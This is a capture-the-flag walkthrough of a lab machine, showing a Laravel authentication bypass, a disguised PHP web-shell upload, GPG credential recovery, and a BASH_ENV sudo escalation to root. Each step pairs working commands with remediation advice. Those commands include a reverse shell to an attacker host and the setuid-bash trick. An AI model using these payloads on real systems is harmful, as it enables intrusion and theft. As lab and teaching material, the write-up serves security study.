← all walkthroughs

Environment

Linux· Medium· Web
owned
2026-09-04
time to own
12m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a Laravel-based 'Marketing Management Portal' behind nginx and abused an environment-override query parameter to bypass authentication entirely, landing in an authenticated management dashboard with no valid credentials. From there, a file-upload feature in the management panel accepted a filename ending in a trailing dot, which the filesystem silently stripped after the extension whitelist had already approved it — letting a PHP web shell disguised as a PNG execute as the low-privileged web user. That foothold exposed a world-readable GPG-encrypted credential backup alongside its matching unprotected private keyring, which decrypted cleanly to reveal a local user's password.

Reusing that password over SSH gave a full user shell and the user flag. Finally, a sudo rule that preserved the BASH_ENV environment variable across a permitted command let me inject a startup script that set the setuid bit on bash, yielding a root shell and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService enumeration and framework fingerprinting
Mapped the web application and identified the Laravel framework
A port scan of the target found only SSH and HTTP exposed. The HTTP service redirected to the virtual host environment.htb, which served a Laravel application (a 'Marketing Management Portal') identifiable by its encrypted XSRF-TOKEN and laravel_session cookies issued on every response.
Nmap: 22/tcp ssh OpenSSH 9.2p1, 80/tcp http nginx/1.22.1; 301 redirect to http://environment.htb; a session cookie, laravel_session=...
Exact commands 3
Confirms 22/ssh and 80/http (nginx 1.22.1).
nmap -sV -p- $TARGET
Pin the discovered vhost locally.
echo "$TARGET environment.htb" | sudo tee -a /etc/hosts
Confirms Laravel via XSRF-TOKEN/laravel_session cookies.
curl --resolve environment.htb:80:$TARGET -sS -i http://environment.htb/
2ExploitationLaravel environment/config manipulation via query-string argv override (CVE-2024-52301)
Bypassed login using a Laravel environment-override query parameter
Because the server ran with PHP's register_argc_argv enabled, Laravel treated the request query string as a raw argv array, letting a ?--env=preprod parameter override the application's environment for that single request. The app had a 'preprod' code path that skipped authentication checks entirely. Submitting a login POST to that endpoint with throwaway credentials returned an authenticated session straight to the management dashboard.
GET /login?--env=preprod returned the login form; POST to the same URL with junk creds returned 302 to /management/dashboard with rotated session cookies; GET /management/dashboard and /management/profile rendered authenticated content, not a login redirect.
Exact commands 3
Grab a CSRF token and session cookie; extract the _token value from login.html.
curl --resolve environment.htb:80:$TARGET -sS --max-time 15 -c cookies.txt -o login.html 'http://environment.htb/login?--env=preprod'
Auth bypass — returns 302 to /management/dashboard authenticated, regardless of the credentials submitted.
curl --resolve environment.htb:80:$TARGET -sS -i -b cookies.txt -c cookies.txt 'http://environment.htb/login?--env=preprod' --data-urlencode _token=<CSRF_TOKEN> --data-urlencode email=test@test.com --data-urlencode password=$PASSWORD --data-urlencode remember=on
Confirm the session is genuinely authenticated (renders the dashboard, not a login redirect).
curl --resolve environment.htb:80:$TARGET -sS -b cookies.txt http://environment.htb/management/dashboard
FixPatch Laravel and disable query-string environment overridesCritical
WeaknessWith PHP's register_argc_argv enabled, the application's Laravel version let a ?--env=<name> query parameter override the runtime environment per request, and a 'preprod' environment branch skipped authentication entirely — giving an unauthorised user a fully logged-in session.
FixUpgrade Laravel to 11.31 or later (patched for CVE-2024-52301), set register_argc_argv=Off in php.ini since the application does not need CLI-style argv parsing for web requests, and remove or gate any environment-specific code branch that bypasses authentication.
3FootholdArbitrary file upload via extension-validation/filesystem-normalization mismatch (CVE-2024-21546, UniSharp Laravel-Filemanager)
Uploaded a disguised PHP web shell via a trailing-dot extension bypass
The authenticated management panel's file/profile-image upload used the UniSharp Laravel-Filemanager component, which validated the file extension before the filesystem normalized the name — a filename ending in a period ('shell.php.') passed the extension check but was saved by the OS with the trailing dot stripped, landing as 'shell.php'. Prefixing the payload with real PNG magic bytes defeated any content-sniffing check. Requesting the stored file executed PHP, and a one-liner reverse shell handler gave interactive command execution as the web user.
Strings /tmp/rce-id.out showed PNG chunk markers (IHDR/IDAT/IEND) followed by 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'.
Exact commands 4
PNG magic header + PHP payload to pass content-sniffing.
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell
Trailing dot bypasses the extension whitelist; filesystem strips it, saving shell.php.
curl --resolve environment.htb:80:$TARGET -sS -b cookies.txt -F 'upload=@shell;filename=shell.php.;type=image/png' http://environment.htb/laravel-filemanager/upload
Confirms code execution as www-data.
curl --resolve environment.htb:80:$TARGET -sS 'http://environment.htb/storage/files/shell.php?cmd=id' | tee /tmp/rce-id.out
Pop an interactive reverse shell; run 'nc -lvnp 443' on $ATTACKER_IP first.
curl --resolve environment.htb:80:$TARGET -sS "http://environment.htb/storage/files/shell.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/$ATTACKER_IP/443%200>%261'"
FixPatch the file manager and block script execution in upload directoriesCritical
WeaknessThe bundled Laravel-Filemanager component validated an uploaded file's extension before the filesystem stripped a trailing dot from the filename, letting 'shell.php.' pass the extension check and land on disk as the executable 'shell.php'.
FixUpgrade UniSharp/laravel-filemanager past the version vulnerable to CVE-2024-21546, validate the extension on the filename the filesystem will actually store (not the client-supplied string), and configure nginx to deny PHP execution under storage/uploads directories regardless of what gets written there.
4Credential AccessCredential exposure via reused/adjacent private key material (T1552.004 - Private Keys)
Decrypted a world-readable GPG credential backup using its co-located unprotected private key
From the www-data shell, an encrypted credential backup (keyvault.gpg) was found under a local user's home directory, readable by other users, alongside that same user's GnuPG secret-key directory — also readable and protected by no passphrase. Copying the keyring and decrypting the backup with it, with no password guessing or cracking required, revealed the plaintext password for the local account 'hish'.
Exact commands 3
Confirm both the encrypted backup and the secret keyring are world-readable.
ls -la /home/hish/backup/keyvault.gpg /home/hish/.gnupg
Stage a private copy of the keyring GPG will accept.
mkdir -p /dev/shm/fh && cp -r /home/hish/.gnupg /dev/shm/fh/ && chmod -R 700 /dev/shm/fh/.gnupg
Decrypts directly — no passphrase on the secret key. Reveals hish's password.
gpg --homedir /dev/shm/fh/.gnupg -d /home/hish/backup/keyvault.gpg
FixRestrict permissions on private keys and their encrypted backupsHigh
WeaknessA local user's GPG secret keyring had no passphrase and, along with an encrypted credential backup file, was readable by other accounts on the host — letting the web-server user decrypt the backup and recover a plaintext password with no cracking required.
FixSet GnuPG home directories and backup files to mode 700/600 owned solely by the user, require a strong passphrase on all private keys, and avoid storing an encrypted secret and the key that decrypts it on the same host where a compromised low-privilege account can reach both.
5Lateral MovementCredential reuse over SSH (T1078 - Valid Accounts)
Reused the recovered credentials to log in as hish and captured user.txt
The password recovered from the GPG backup was valid for the local Linux account 'hish' over SSH, giving a full interactive user shell in place of the limited www-data web shell.
Sshpass -p '[REDACTED: recovered credential]' ssh hish@$TARGET 'id' returned uid=1000(hish) gid=1000(hish); user.txt read and confirmed by HTB as a valid capture.
Exact commands 1
Single-quote the password — it contains @ and !!.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no hish@$TARGET 'id; cat /home/hish/user.txt'
6Privilege EscalationSudo env_keep / BASH_ENV abuse (GTFOBins-class privilege escalation, T1548.003)
Abused a preserved BASH_ENV sudo variable to set the setuid bit on bash and gain root
Hish was permitted to run /usr/bin/systeminfo (a bash script) via sudo, and the sudoers configuration kept the ENV and BASH_ENV environment variables intact across that sudo invocation instead of resetting them. Bash sources the file named by BASH_ENV on every non-interactive startup, so pointing BASH_ENV at an me-written script and invoking the permitted sudo command ran that script as root. The script set the setuid bit on /bin/bash, and invoking bash in privileged mode gave a root shell.
Sudo -l as hish showed 'env_keep+="ENV BASH_ENV"' and '(ALL) NOPASSWD: /usr/bin/systeminfo'; after the BASH_ENV script ran, /bin/bash -p returned euid=0(root); root.txt read and confirmed by HTB as a valid capture.
Exact commands 5
As hish. Reveals env_keep includes BASH_ENV and NOPASSWD rights on /usr/bin/systeminfo.
sudo -l
Script to make /bin/bash setuid when sourced as root.
printf '#!/bin/bash\nchmod +s /bin/bash\n' > /dev/shm/x.sh; chmod +x /dev/shm/x.sh
Sudo preserves BASH_ENV; bash sources x.sh as root before running systeminfo.
sudo BASH_ENV=/dev/shm/x.sh /usr/bin/systeminfo
Setuid bash now grants a root shell.
/bin/bash -p
Confirms euid=0(root); replace captured value with <root.txt>.
id; cat /root/root.txt
FixStop preserving BASH_ENV/ENV across sudo commandsCritical
WeaknessThe sudoers configuration used env_keep+="ENV BASH_ENV" alongside a NOPASSWD rule for a bash script, letting a low-privileged user supply a BASH_ENV pointing at their own script; bash sourced it as root before running the permitted command, allowing arbitrary root code execution.
FixRemove ENV and BASH_ENV from env_keep in /etc/sudoers (rely on the default env_reset), and avoid granting NOPASSWD sudo rights to shell scripts at all — wrap privileged logic in a compiled binary or a script with a locked-down, non-overridable environment.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp